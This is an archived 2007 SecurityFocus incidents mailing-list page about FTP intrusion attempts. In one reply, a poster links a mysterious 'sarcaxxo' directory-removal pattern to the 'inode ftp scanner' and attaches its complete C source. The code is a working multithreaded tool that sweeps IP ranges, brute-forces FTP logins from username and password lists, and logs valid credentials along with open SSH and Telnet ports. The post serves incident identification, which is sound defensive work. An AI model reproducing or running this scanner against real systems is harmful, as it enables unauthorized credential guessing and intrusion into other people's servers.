Incidents
Tracking down random ICMP Jan 22 2007 01:19PM
Craig Chamberlain (craig chamberlain Q1Labs com) (3 replies)
Re: Tracking down random ICMP Feb 02 2007 11:25PM
Frank Knobbe (frank knobbe us)
Re: Tracking down random ICMP Jan 23 2007 03:32PM
Valdis Kletnieks vt edu (2 replies)
Re: Tracking down random ICMP Jan 25 2007 12:13PM
Javier Fernández-Sanguino (jfernandez germinus com) (1 replies)
Re: Tracking down random ICMP Jan 25 2007 05:20PM
Valdis Kletnieks vt edu (2 replies)
DoS attacks using ports 31800, 31900 ? Feb 02 2007 06:27PM
David Gillett (gillettdavid fhda edu) (1 replies)
Re: DoS attacks using ports 31800, 31900 ? Feb 06 2007 03:36PM
Deapesh Misra (deapesh gmail com)
Attempted FTP intrusion Jan 31 2007 05:43PM
David Gillett (gillettdavid fhda edu) (1 replies)
Re: Attempted FTP intrusion Jan 31 2007 10:09PM
Tillmann Werner (tillmann werner gmx de)
David,

> Although none of the login attempts succeeded, on some machines it
> also attempted to remove a directory named "sarcaxxo". This links it
> to incidents reported by other sites as far back as the beginning of
> November 2006. Nobody yet seems to know what's behind this.

Looks pretty much like the "inode ftp scanner" (attached). As you can see, it
tries to delete the mentioned directory after a failed login attempt.
However, the code is really lame - this his how you should not do it.

Regards,
Tillmann
/*
Multi-thread FTP scanner v0.2.5 by Inode <inode (at) wayreth.eu (dot) org [email concealed]>

This software is a simple multithread scanner for ftp with an
integrated dictionary bruteforce.

In the password file use the keyword "null" (with quotes) for check
null passwords.

You can download the latest version at: http://www.wayreth.eu.org

Thanks Megat0n for programming support

Tested on:
Linux Slackware 8.0 (i386)
OpenBSD 3.3 (i386)
SunOS 5.8 (sparc)

Compile:
- Linux / OpenBSD
gcc -O2 -o ftp_scanner ftp_scanner.c -lpthread
- FreeBSD
gcc -O2 -o ftp_scanner ftp_scanner.c -pthread
- SunOS
gcc -O2 -o ftp_scanner ftp_scanner.c -DSOLARIS -lpthread -lxnet

Changes 0.2.5
- Added option -C (check if command RMD exist, else can be
like a printer and doesn't log it)

Changes 0.2.4
- Programmed again connect routines
- Rebuild the log file

Changes 0.2.3
- Added SSH and Telnet check
- Fix SIGPIPE (maybe?)

$ver=v0.2.5 $name=ftp_scanner

*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/time.h>

#define MAX_THREAD 250
#define DEF_THREAD 30
#define TIMEOUT 5
#define PORT 21
#define PORT_TELNET 23
#define PORT_SSH 22

// Structure
struct users_list
{
char username[100];
struct users_list *next;
};

struct password_list
{
char password[100];
struct password_list *next;
};

// Global variables
FILE *OUTFILE;
int verbose = 0;
int drop = 0;
int timeout = 0;
int banner = 0;
int strange = 0;
int ssh_telnet = 0;
int rm_dir = 0;

// Address
unsigned long current_ip;
unsigned long end_ip;

// Mutex variables
pthread_mutex_t input_queue;
pthread_mutex_t user_list;
pthread_mutex_t output_file;

// Main lists pointers
struct users_list *first_user = NULL;
struct password_list *first_pass = NULL;

// Functions prototipes
void *scan (void *data);
void usage (char *argv);
void load_users (char *in_file);
void load_password (char *in_file);
int check_ftp_reply (char *string);
void connect_ip (unsigned long ip);
int check_user (int sock, char *user, char *pass, char *buffer, int lbuffer);
int check_telssh (unsigned long ip);
int check_port (unsigned long ip, int port);

/*

check_user()

Check user login and password on an established connection

Return Value:
-1 - Network error ( connection closed or similar )
0 - Login success
1 - Unknow ftp reply
2 - Login incorrect
3 - bad sequence
*/

int
check_user (int sock, char *user, char *pass, char *buffer, int lbuffer)
{
while (1)
switch (check_ftp_reply (buffer))
{
case 1:
memset (buffer, 0, lbuffer);
sprintf (buffer, "USER %s", user);

if (send (sock, buffer, strlen (buffer), 0) == -1)
return -1;

memset (buffer, 0, lbuffer);
if (recv (sock, buffer, lbuffer, 0) == -1)
return -1;

break;

case 2:
if (rm_dir != 0)
{
memset (buffer, 0, lbuffer);

sprintf (buffer, "RMD sarcaxxo");

if (send (sock, buffer, strlen (buffer), 0) == -1)
return -1;

memset (buffer, 0, lbuffer);

if (recv (sock, buffer, lbuffer, 0) == -1)
return -1;

}
else
{

memset (buffer, 0, lbuffer);
sprintf (buffer, "QUIT
");

if (send (sock, buffer, strlen (buffer), 0) == -1)
return -1;

return 0;
}
break;

case 3:
return 2;
break;

case 4:
memset (buffer, 0, lbuffer);
sprintf (buffer, "PASS %s", pass);

if (send (sock, buffer, strlen (buffer), 0) == -1)
return -1;

memset (buffer, 0, lbuffer);
if (recv (sock, buffer, lbuffer, 0) == -1)
return -1;

break;
case 5:
return 3;
break;

case 6:
memset (buffer, 0, lbuffer);
sprintf (buffer, "QUIT");

if (send (sock, buffer, strlen (buffer), 0) == -1)
return -1;

return 0;
break;

case -1:
if (strlen (buffer) == 0)
return -1;

return 1;
break;

default:
return -1;
break;
}
}

/*

connect_ip()

Scan an ip and bruteforce it if ftp is working

*/

void
connect_ip (unsigned long ip)
{
int sock = 0, ex = 0, ret = 0, ret1 = 0, i = 0;
char buffer[1024];
char banner_buffer[1024];
char username[100];
char password[100];
struct users_list *curr_user = first_user;
struct password_list *curr_pass = first_pass;
struct in_addr t_in;

t_in.s_addr = ntohl (ip);

signal (SIGPIPE, SIG_IGN);

while (ex == 0)
{

if (verbose != 0)
fprintf (stderr, "Connecting to: %s", inet_ntoa (t_in));

sock = check_port (ip, PORT);

if (sock == -1)
break;

if (recv (sock, buffer, sizeof (buffer), 0) < 0)
break;

if (check_ftp_reply (buffer) != 1)
break;
else
{

if (banner == 1)
strncpy (banner_buffer, buffer, sizeof (banner_buffer) - 1);

while (curr_user != NULL && curr_pass != NULL)
{

// Get current user and password
pthread_mutex_lock (&user_list);
strncpy (password, curr_pass->password, sizeof (password) - 1);
strncpy (username, curr_user->username, sizeof (username) - 1);
pthread_mutex_unlock (&user_list);

if (verbose != 0)
fprintf (stderr, "Testing USER: %s PASS: %s IP: %s", username,
password, inet_ntoa (t_in));

// Check the user
ret =
check_user (sock, username, password, buffer,
sizeof (buffer));

if (verbose == 1)
fprintf (stderr, "check_user() return: %d", ret);

switch (ret)
{
case -1:
break;
case 1:
if (strange == 1)
{
pthread_mutex_lock (&output_file);
fprintf (OUTFILE, "the ftp do a strange reply... IP:%s USER:%s PASS:%s REPLY:%s
", inet_ntoa (t_in), username, password,
buffer);
fflush (OUTFILE);
pthread_mutex_unlock (&output_file);
}
if (verbose == 1)
fprintf (stderr,
"the ftp do a strange reply... IP:%s USER:%s PASS:%s REPLY:%s",
inet_ntoa (t_in), username, password, buffer);
break;
case 0:
ret1 = 0;
if (ssh_telnet != 0)
ret1 = check_telssh (ip);

pthread_mutex_lock (&output_file);

fprintf (OUTFILE, "IP: %s", inet_ntoa (t_in));

for (i = strlen (inet_ntoa (t_in)); i < 17; i++)
fprintf (OUTFILE, " ");

fprintf (OUTFILE, "USER: %s", username);

for (i = strlen (username); i < 18; i++)
fprintf (OUTFILE, " ");

fprintf (OUTFILE, "PASS: %s", password);

for (i = strlen (password); i < 18; i++)
fprintf (OUTFILE, " ");

switch (ret1)
{
case 23:
fprintf (OUTFILE, " Telnet");
break;
case 22:
fprintf (OUTFILE, " SSH");
break;
case 45:
fprintf (OUTFILE, " Telnet SSH");
break;
default:
break;
}

fprintf (OUTFILE, "");
if (banner == 1)
fprintf (OUTFILE, "%s", banner_buffer);

fflush (OUTFILE);

pthread_mutex_unlock (&output_file);

break;
case 2:
strcpy (buffer, "220 ");
break;
case 3:
break;
}

if (ret != -1 && ret != 3)
{
pthread_mutex_lock (&user_list);

if (curr_pass->next == NULL && curr_user->next != NULL)
{
curr_user = curr_user->next;
curr_pass = first_pass;
}
else
curr_pass = curr_pass->next;

pthread_mutex_unlock (&user_list);
}

if (ret == -1 || ret == 0 || ret == 3)
break;
}
}
close (sock);
sock = -1;

if ((curr_user->next == NULL && curr_pass == NULL)
|| (drop == 1 && ret == 0))
ex = 1;
else
ex = 0;

}

if (sock != -1)
close (sock);

}

/*

main()

*/

int
main (int argc, char **argv)
{

int i;
char *out_file = NULL;
char opt;
int number_thread = 0;
char *hosts = NULL;
struct users_list *curr_user = NULL;
struct users_list *curr_user_tmp = NULL;
struct password_list *curr_pass = NULL;
struct password_list *curr_pass_tmp = NULL;
unsigned long mask = 0xffffffff;
char *maskarg = (char *) NULL;
struct in_addr t_in;

pthread_t thread_id[MAX_THREAD];

fprintf (stderr, "
Multi-thread FTP scanner v0.2.5 by Inode <inode (at) wayreth.eu (dot) org [email concealed]>

");

// Check arguments
while ((opt = getopt (argc, argv, "t:c:h:u:p:o:vdbskC")) != -1)
{
switch (opt)
{
case 't':
timeout = atoi (optarg);
break;
case 'c':
number_thread = atoi (optarg);
break;
case 'h':
hosts = optarg;
break;
case 'u':
load_users (optarg);
break;
case 'p':
load_password (optarg);
break;
case 'o':
out_file = optarg;
break;
case 'v':
verbose = 1;
break;
case 'd':
drop = 1;
break;
case 'b':
banner = 1;
break;
case 's':
strange = 1;
break;
case 'k':
ssh_telnet = 1;
break;
case 'C':
rm_dir = 1;
break;
default:
usage (argv[0]);
break;
}
}

if (hosts == NULL)
usage (argv[0]);

// Set DEFAULT values
if (timeout == 0)
timeout = TIMEOUT;

if (number_thread == 0)
number_thread = DEF_THREAD;

if (number_thread > MAX_THREAD)
{
fprintf (stderr, " Max num of thread...");
exit (0);
}

if (out_file == NULL)
{
out_file = (char *) strdup ("/dev/stdout");
}

if ((OUTFILE = fopen (out_file, "a+")) == NULL)
{
fprintf (stderr, "Can't open output file");
exit (0);
}

if (first_user == NULL || first_pass == NULL)
{
fprintf (stderr, "Please specify user and password files");
exit (0);
}

if ((maskarg = (char *) strchr (hosts, '/')))
{
*maskarg = 0;
maskarg++;
}

if (maskarg)
{
mask = (mask << ((unsigned long) (32 - atol (maskarg))));
}
else
{
mask = mask;
}

current_ip = ntohl ((unsigned long) inet_addr (hosts)) & mask;

end_ip = current_ip | ~mask;

if (verbose > 0)
{
t_in.s_addr = ntohl (current_ip);
fprintf (stderr, "Start IP: %s", inet_ntoa (t_in));
t_in.s_addr = ntohl (end_ip);
fprintf (stderr, "End IP: %s", inet_ntoa (t_in));
}

// Inizialize mutex variables
pthread_mutex_init (&input_queue, NULL);
pthread_mutex_init (&user_list, NULL);
pthread_mutex_init (&output_file, NULL);

// For solaris compatibility
#ifdef SOLARIS
pthread_setconcurrency (number_thread);
#endif

signal (SIGPIPE, SIG_IGN);

for (i = 0; i < number_thread; i++)
if (pthread_create (&thread_id[i], NULL, &scan, NULL) != 0)
{
i--;
fprintf (stderr, "Error in creating thread");
}

for (i = 0; i < number_thread; i++)
if (pthread_join (thread_id[i], NULL) != 0)
{
fprintf (stderr, "Error in joining thread");
}

fflush (OUTFILE);

fclose (OUTFILE);

fprintf (stderr, " Scan end...");

// free user lists
curr_user = first_user;

while (curr_user != NULL)
{
curr_user_tmp = curr_user->next;
free (curr_user);
curr_user = curr_user_tmp;
}

// free password list
curr_pass = first_pass;

while (curr_pass != NULL)
{
curr_pass_tmp = curr_pass->next;
free (curr_pass);
curr_pass = curr_pass_tmp;
}

return 0;
}

void
usage (char *argv)
{
fprintf (stderr, " Usage:");
fprintf (stderr, " %s -h <arg> -u <arg> -p <arg> [-t <arg>] [-c <arg>]",
argv);
fprintf (stderr, " [-o <arg>] [-b] [-d] [-v] [-s] [-k]");
fprintf (stderr, " -h Host/s to scan (ex 192.168.0.0/24)");
fprintf (stderr, " -u Users file");
fprintf (stderr, " -p Password file");
fprintf (stderr, " -t Timeout in seconds (default 5)");
fprintf (stderr, " -c Number of thread (default 20)");
fprintf (stderr, " -o Output file");
fprintf (stderr, " -b Store banner in output file");
fprintf (stderr, " -d Stop bruteforce after a valid user");
fprintf (stderr, " -v Verbose mode");
fprintf (stderr, " -s Store strange ftp reply in output file");
fprintf (stderr, " -k Check SSH and Telnet on host with a valid user");
fprintf (stderr, " -C Check RMDIR command");
fprintf (stderr, "");
exit (0);
}

void *
scan (void *data)
{
unsigned long ip;

while (1)
{

pthread_mutex_lock (&input_queue);

if (current_ip > end_ip)
{
pthread_mutex_unlock (&input_queue);
break;
}

ip = current_ip;

current_ip++;

pthread_mutex_unlock (&input_queue);

connect_ip (ip);

}

return NULL;
}

void
load_users (char *in_file)
{
FILE *in;
struct users_list *temp = NULL;
struct users_list *temp_1 = NULL;

if ((in = fopen (in_file, "rt")) == NULL)
{
fprintf (stderr, "Can't open input file!");
exit (0);
}

while (!feof (in))
{

temp = malloc (sizeof (struct users_list));

if (temp_1 != NULL)
temp_1->next = temp;

fscanf (in, "%s ", temp->username);

temp->next = NULL;

if (first_user == NULL)
first_user = temp;

temp_1 = temp;
};

fclose (in);
}

/*
*/
void
load_password (char *in_file)
{
FILE *in;
struct password_list *temp = NULL;
struct password_list *temp_1 = NULL;

if ((in = fopen (in_file, "rt")) == NULL)
{
fprintf (stderr, "Can't open input file!");
exit (0);
}

while (!feof (in))
{

temp = malloc (sizeof (struct password_list));

if (temp_1 != NULL)
temp_1->next = temp;

fscanf (in, "%s ", temp->password);

if (strcmp (temp->password, "" null "") == 0)
strcpy (temp->password, "");

temp->next = NULL;

if (first_pass == NULL)
first_pass = temp;

temp_1 = temp;

};

fclose (in);
}

/*

check_ftp_reply()

Return Value:
1 - 220 FTP READY
2 - 230 LOGIN OK
3 - 530 login incorrect
3 - 500 command not undestand
4 - 331 insert password
5 - 503 bad sequence or similar
6 - 550 can't remove directory
*/

int
check_ftp_reply (char *string)
{
if ((char *) strstr (string, "220") == string)
return 1;

if ((char *) strstr (string, "230") == string)
return 2;

if ((char *) strstr (string, "530") == string)
return 3;

if ((char *) strstr (string, "520") == string)
return 3;

if ((char *) strstr (string, "500") == string)
return 3;

if ((char *) strstr (string, "501") == string)
return 3;

if ((char *) strstr (string, "331") == string)
return 4;

if ((char *) strstr (string, "503") == string)
return 5;

if ((char *) strstr (string, "221") == string)
return 5;

if ((char *) strstr (string, "400") == string)
return 5;

if ((char *) strstr (string, "550") == string)
return 6;

if ((char *) strstr (string, "421") == string)
{
string[0] = 0;
}

return -1;

}

/*

Return Value:
0 Nothing open
23 Telnet Open
22 SSH Open
45 Both Open

*/

int
check_telssh (unsigned long ip)
{
int sock;
int ret = 0;
struct in_addr t_in;

t_in.s_addr = ntohl (ip);

if (verbose != 0)
fprintf (stderr, "Connecting to: %s on port: %d", inet_ntoa (t_in),
PORT_TELNET);

sock = check_port (ip, PORT_TELNET);

if (sock > 0)
{
ret += PORT_TELNET;
close (sock);
}

if (verbose != 0)
fprintf (stderr, "Connecting to: %s on port: %d", inet_ntoa (t_in),
PORT_SSH);

sock = check_port (ip, PORT_SSH);

if (sock > 0)
{
ret += PORT_SSH;
close (sock);
}

return ret;
}

int
check_port (unsigned long ip, int port)
{
int sock, flags, flags_old, retval, sock_len;
struct sockaddr_in sin;
struct timeval tv;
fd_set rfds;

if ((sock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
fprintf (stderr,
"Can't create socket try to decrase the number of threads...");
perror ("socket");
return -1;
}

// Set connection varibles
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ntohl (ip);
sin.sin_port = htons (port);

// Set Non Blocking Socket
flags_old = fcntl (sock, F_GETFL, 0);
flags = flags_old;
flags |= O_NONBLOCK;
fcntl (sock, F_SETFL, flags);

// Connect
if (connect (sock, (struct sockaddr *) &sin, sizeof (sin)) == 0)
return sock;

// Set timeout
tv.tv_sec = timeout;
tv.tv_usec = 0;
FD_ZERO (&rfds);
FD_SET (sock, &rfds);

retval = select (FD_SETSIZE, NULL, &rfds, NULL, &tv);

// if retval < 0 error
if (retval < 0)
{
close (sock);
return -1;
}

sock_len = sizeof (sin);

// Check if port closed
if (retval)
if (getpeername (sock, (struct sockaddr *) &sin, &sock_len) < 0)
{
close (sock);
return -1;
}
else
{
fcntl (sock, F_SETFL, flags_old);
return sock;
}

close (sock);
return -1;
}

[ reply ]
Re: Tracking down random ICMP Jan 23 2007 09:37PM
Jose Nazario (jose monkey org) (1 replies)
Re: Tracking down random ICMP Jan 24 2007 01:05AM
Bojan Zdrnja (bojan zdrnja gmail com) (1 replies)
Re: Tracking down random ICMP Feb 09 2007 12:17AM
Jean-Baptiste Marchand (jbm lists gmail com)
Re: Tracking down random ICMP Jan 23 2007 03:50AM
Kyle Maxwell (krmaxwell gmail com)


 

Privacy Statement
Copyright 2010, SecurityFocus